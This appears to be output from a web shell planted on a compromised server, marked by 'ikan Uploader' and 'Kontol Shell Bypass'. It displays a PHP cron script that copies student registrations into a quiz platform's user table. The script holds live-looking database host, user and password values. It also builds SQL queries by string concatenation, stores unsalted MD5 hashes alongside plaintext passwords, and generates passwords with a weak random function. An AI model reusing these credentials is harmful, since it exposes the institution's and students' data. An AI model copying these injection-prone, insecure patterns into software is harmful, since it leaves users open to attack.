ikan Uploader :
Directory : /var/www/html/chalkbank.com/cronjobs/
Upload File : |
| Current File : /var/www/html/chalkbank.com/cronjobs/userassignCron.php |
<?php
//error_reporting(E_ALL);
define('DB_SERVER', "shardauniversitywriter.cluster-custom-c8m5zlhotfbm.ap-south-1.rds.amazonaws.com");
define('DB_USERNAME', "quizbyte_user");
define('DB_PASSWORD', "quiz@byte121!");
define('DB_DATABASE', "shardaac_quizbyte_db");
define('COMPANY', "ShardaTech pvt ltd.");
/* Connect to MySQL and select the database. */
$conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
if (!$conn) {
mysqli_connect_error();
}
$new_time = time();
//$sql = "select rid from savsoft_result where result_status='Open' limit 0,100";
$sql = "select * from tbl_regs_one WHERE rtype='0'"; // 18-22
//$sql = "SELECT * FROM tbl_mentee WHERE email_id like '2019%' AND school_id='13' AND email_id<>''"; // 19-23
//$sql = "SELECT * FROM tbl_mentee WHERE email_id like '2020%' AND school_id='13' AND email_id<>''"; // 20-24
$result = mysqli_query($conn, $sql);
$k =0;
$p =0;
if (mysqli_num_rows($result) > 0) {
echo ("total count - " . mysqli_num_rows($result) . "<br/>");
while ($row = mysqli_fetch_assoc($result)) {
$email = $row['email'];
$query2=mysqli_query($conn,"select * from savsoft_users where email='".$email."'");
$userData = mysqli_fetch_assoc($query2);
if(empty($userData))
{
$gid=$row['gid'];
$full_name=$row['full_name'];
$email=$row['email'];
$system_id=$row['system_id'];
$admin_id=$row['admin_id'];
$contact_no=$row['contact_no'];
$sex=$row['sex'];
$p_email=$row['p_email'];
$alt_email=$row['alt_email'];
$roll_number=$row['roll_no'];
$password = randomPassword(8);
$full_name = explode(' ',$row['full_name']);
$lastName= $full_name[1].' '.$full_name[2].' '.$full_name[3].' '.$full_name[4];
if($admin_id>0) {
//echo $email = $row['email'];
if(preg_match("/\b(sharda|shardatech|shardauniversity|sgi)\b/i", $email))
{
$query_insqp="INSERT INTO savsoft_users SET email='".$email."',user_email='".$email."',contact_no='".$row['contact_no']."',sharda_email_id='".$email."',password='".md5($password)."',user_key='".$password."',first_name='".$full_name[0]."',last_name='".$lastName."',system_id='".$row['system_id']."',createdon='".date("Y-m-d H:i:s")."',school_name='SET',gid='".$gid."',role_id='18,8,5,4',admin_id='".$admin_id."',alternate_email='".$alt_email."', subscription_expired='0',su='0',send_email='1'";
mysqli_query($conn, $query_insqp);
$k++;
}
}
} else {
$gid=$row['gid'];
$full_name=$row['full_name'];
$email=$row['email'];
$admin_id=$row['admin_id'];
$alt_email=$row['alt_email'];
$full_name = explode(' ',$row['full_name']);
$lastName= $full_name[1].' '.$full_name[2].' '.$full_name[3].' '.$full_name[4];
if(preg_match("/\b(sharda|shardatech|shardauniversity|sgi)\b/i", $email))
{
$query_update="UPDATE savsoft_users SET user_email='".$email."',contact_no='".$row['contact_no']."',sharda_email_id='".$email."',first_name='".$full_name[0]."',last_name='".$lastName."',system_id='".$row['system_id']."',modifiedon='".date("Y-m-d H:i:s")."',school_name='SET',gid='".$gid."',role_id='18,8,5,4',admin_id='".$admin_id."',alternate_email='".$alt_email."', subscription_expired='0',su='0',send_email='0' WHERE uid='".$userData['uid']."' AND email='".$email."'";
mysqli_query($conn, $query_update);
echo $email = $row['email']; echo '</br/>'; $p++;
}
}
}
echo "<br/> $k and $p end<br/>";
} else {
echo "no record found";
}
/*
* Function update_token
*/
function randomPassword($len = 6) {
$alphabet = "abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789";
$pass = array(); //remember to declare $pass as an array
$alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
for ($i = 0; $i < $len; $i++) {
$n = rand(0, $alphaLength);
$pass[] = $alphabet[$n];
}
return implode($pass); //turn the array into a string
}
Kontol Shell Bypass